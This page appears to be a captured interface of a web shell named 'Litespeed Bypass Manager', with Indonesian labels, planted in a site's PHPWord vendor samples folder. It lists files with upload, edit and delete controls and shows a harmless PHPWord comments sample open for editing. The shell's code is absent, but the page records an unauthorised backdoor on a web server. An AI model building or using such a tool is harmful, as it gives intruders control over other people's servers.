Litespeed Bypass Manager
Direktori:
/admin/vendor/phpoffice/phpword/samples
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
bootstrap
Folder
Hapus
📁
resources
Folder
Hapus
📁
results
Folder
Hapus
📄 Sample_01_SimpleText.php
Edit
Hapus
📄 Sample_02_TabStops.php
Edit
Hapus
📄 Sample_03_Sections.php
Edit
Hapus
📄 Sample_04_Textrun.php
Edit
Hapus
📄 Sample_05_Multicolumn.php
Edit
Hapus
📄 Sample_06_Footnote.php
Edit
Hapus
📄 Sample_07_TemplateCloneRow.php
Edit
Hapus
📄 Sample_08_ParagraphPagination.php
Edit
Hapus
📄 Sample_09_Tables.php
Edit
Hapus
📄 Sample_10_EastAsianFontStyle.php
Edit
Hapus
📄 Sample_11_ReadWord2007.php
Edit
Hapus
📄 Sample_11_ReadWord97.php
Edit
Hapus
📄 Sample_12_HeaderFooter.php
Edit
Hapus
📄 Sample_13_Images.php
Edit
Hapus
📄 Sample_14_ListItem.php
Edit
Hapus
📄 Sample_15_Link.php
Edit
Hapus
📄 Sample_16_Object.php
Edit
Hapus
📄 Sample_17_TitleTOC.php
Edit
Hapus
📄 Sample_18_Watermark.php
Edit
Hapus
📄 Sample_19_TextBreak.php
Edit
Hapus
📄 Sample_20_BGColor.php
Edit
Hapus
📄 Sample_21_TableRowRules.php
Edit
Hapus
📄 Sample_22_CheckBox.php
Edit
Hapus
📄 Sample_23_TemplateBlock.php
Edit
Hapus
📄 Sample_24_ReadODText.php
Edit
Hapus
📄 Sample_25_TextBox.php
Edit
Hapus
📄 Sample_26_Html.php
Edit
Hapus
📄 Sample_27_Field.php
Edit
Hapus
📄 Sample_28_ReadRTF.php
Edit
Hapus
📄 Sample_29_Line.php
Edit
Hapus
📄 Sample_30_ReadHTML.php
Edit
Hapus
📄 Sample_31_Shape.php
Edit
Hapus
📄 Sample_32_Chart.php
Edit
Hapus
📄 Sample_33_FormField.php
Edit
Hapus
📄 Sample_34_SDT.php
Edit
Hapus
📄 Sample_35_InternalLink.php
Edit
Hapus
📄 Sample_36_RTL.php
Edit
Hapus
📄 Sample_37_Comments.php
Edit
Hapus
📄 Sample_38_Protection.php
Edit
Hapus
📄 Sample_Footer.php
Edit
Hapus
📄 Sample_Header.php
Edit
Hapus
📄 index.php
Edit
Hapus
Edit File: Sample_37_Comments.php
<?php include_once 'Sample_Header.php'; // New Word Document echo date('H:i:s') , ' Create new PhpWord object' , EOL; $phpWord = new \PhpOffice\PhpWord\PhpWord(); // A comment $comment = new \PhpOffice\PhpWord\Element\Comment('Authors name', new \DateTime(), 'my_initials'); $comment->addText('Test', array('bold' => true)); $phpWord->addComment($comment); $section = $phpWord->addSection(); $textrun = $section->addTextRun(); $textrun->addText('This '); $text = $textrun->addText('is'); $text->setCommentRangeStart($comment); $textrun->addText(' a test'); $section->addTextBreak(2); // Let's create a comment that we will link to a start element and an end element $commentWithStartAndEnd = new \PhpOffice\PhpWord\Element\Comment('Foo Bar', new \DateTime()); $commentWithStartAndEnd->addText('A comment with a start and an end'); $phpWord->addComment($commentWithStartAndEnd); $textrunWithEnd = $section->addTextRun(); $textrunWithEnd->addText('This '); $textToStartOn = $textrunWithEnd->addText('is', array('bold' => true)); $textToStartOn->setCommentRangeStart($commentWithStartAndEnd); $textrunWithEnd->addText(' another', array('italic' => true)); $textToEndOn = $textrunWithEnd->addText(' test'); $textToEndOn->setCommentRangeEnd($commentWithStartAndEnd); $section->addTextBreak(2); // Let's add a comment on an image $commentOnImage = new \PhpOffice\PhpWord\Element\Comment('Mr Smart', new \DateTime()); $imageComment = $commentOnImage->addTextRun(); $imageComment->addText('Hey, Mars does look '); $imageComment->addText('red', array('color' => 'FF0000')); $phpWord->addComment($commentOnImage); $image = $section->addImage('resources/_mars.jpg'); $image->setCommentRangeStart($commentOnImage); $section->addTextBreak(2); // We can also do things the other way round, link the comment to the element $anotherText = $section->addText('another text'); $comment1 = new \PhpOffice\PhpWord\Element\Comment('Authors name', new \DateTime(), 'my_initials'); $comment1->addText('Test', array('bold' => true)); $comment1->setStartElement($anotherText); $comment1->setEndElement($anotherText); $phpWord->addComment($comment1); // Save file echo write($phpWord, basename(__FILE__, '.php'), $writers); if (!CLI) { include_once 'Sample_Footer.php'; }
Simpan
Catatan: Mengedit file biner tidak disarankan.